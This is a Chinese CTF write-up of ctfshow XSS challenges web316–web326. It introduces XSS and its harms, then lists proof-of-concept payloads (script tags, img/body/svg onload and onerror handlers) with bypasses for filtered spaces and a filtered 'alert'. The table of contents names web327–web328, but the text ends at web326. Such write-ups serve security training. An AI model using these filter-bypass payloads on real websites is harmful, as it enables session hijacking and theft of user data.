ctfshow—

文章目录

XSS介绍
- 什么是xss？
- XSS危害
- XSS的分类
- 常用XSSpayload
web316——反射型XSS
- web317——过滤<script>
web318——过滤script、img
web319——不止过滤script、img
web320——过滤空格
web321——不止过滤空格
web322——不止过滤空格
web323
web324
web 325
web326——过滤alert
web327——存储型
web328——存储型

XSS介绍

xss_3">什么是xss？

跨站脚本攻击（Cross Site Scripting），为不和层叠样式表（Cascading Style Sheets，CSS）的缩写混淆，故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码，当用户浏览该页之时，嵌入其中 Web 里面的 HTML 代码会被执行，从而达到恶意攻击用户的特殊目的。

XSS危害

通过document.cookie盗取cookie中的信息。
使用js或css破坏页面正常的结构与样式。
流量劫持（通过访问某段具有window.location.href定位到其他页面）。
dos攻击：利用合理的客户端请求来占用过多的服务器资源，从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码，从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式，以（被攻击）用户的身份执行一些管理动作，或执行一些一般的如发微博、加好友、发私信等操作，并且攻击者还可以利用 iframe，frame进一步的进行 CSRF 攻击。
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力。

XSS的分类

反射型
一般来说这种类型的XSS，需要攻击者提前构造一个恶意链接，来诱使客户点击，比如这样的一段链接：www.abc.com/?params=x。
存储型
这种类型的XSS，危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码，并且服务器没有正确进行过滤输出，那就会造成浏览这个页面的用户执行这段JavaScript代码。
DOM型
这种类型则是利用非法输入来闭合对应的html标签。

常用XSSpayload

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image src=1 onerror=alert(1)>
<body onload=alert(1)> // 在页面加载完成后执行onload指定的函数
<svg onload=alert(1)> // 在SVG图像加载完成后执行onload指定的函数
<iframe/onload=alert(1)></iframe> // <iframe>标签是用于在网页中嵌入其他网页或文档的元素，onload事件是在<iframe>加载完成后触发的事件。
<body onload=“windows.open('https://www.baidu.com')”> // 加载百度页面<body onload='console.log(1)'> // 控制台打印1
<body onload='console.info(1)'>
<body onload='console.error(1)'>绕过方法
过滤空格，用/、Tab(%09)或者/**/代替空格，如<body/onload=alert(1)>
过滤alert，用top['aler'+'t']绕过
过滤 alert()，用top['aler'+'t'].call 绕过

web316——反射型XSS

在框框中插入XSS语句<script>alert(1)</script>，弹框，说明存在反射型XSS。
在这里插入图片描述
也可以使用<body onload='console.error(1)'>。

这里就不找XSS平台，拿flag了~

web317——过滤

用img标签绕过过滤，<img src=1 onerror=alert(1)>或者<image src=1 onerror=alert(1)>
在这里插入图片描述

web318——过滤script、img

可以用<image src=1 onerror=alert(1)>或<body onload=alert(1)>
在这里插入图片描述

web319——不止过滤script、img

可以用<image src=1 onerror=alert(1)>或<body onload=alert(1)>

在这里插入图片描述

web320——过滤空格

这里不仅过滤了script等关键字，还过滤了空格。过滤空格的话，可以用/或者/**/代替空格，进行绕过。构造payload：<body/onload=alert(1)>。

在这里插入图片描述

web321——不止过滤空格

这关不仅过滤了空格，但是也可以用<body/onload=alert(1)>判断这里存在XSS。
在这里插入图片描述

web322——不止过滤空格

<body/onload=alert(1)>可以判断这里存在XSS。
在这里插入图片描述

web323

<body/onload=alert(1)>，通杀
在这里插入图片描述

web324

<body/onload=alert(1)>，通杀
在这里插入图片描述

web 325

<body/onload=alert(1)>，通杀
在这里插入图片描述

web326——过滤alert

<body/onload=alert(1)>这次不行，换<body/onload=“windows.open('https://www.baidu.com')”>，会打开百度的页面，说明存在XSS漏洞。
在这里插入图片描述
其实，它是过滤了alert关键字，可以用top['aler'+'t']代替alert。payload:<body/onload=top['aler'+'t'](1)>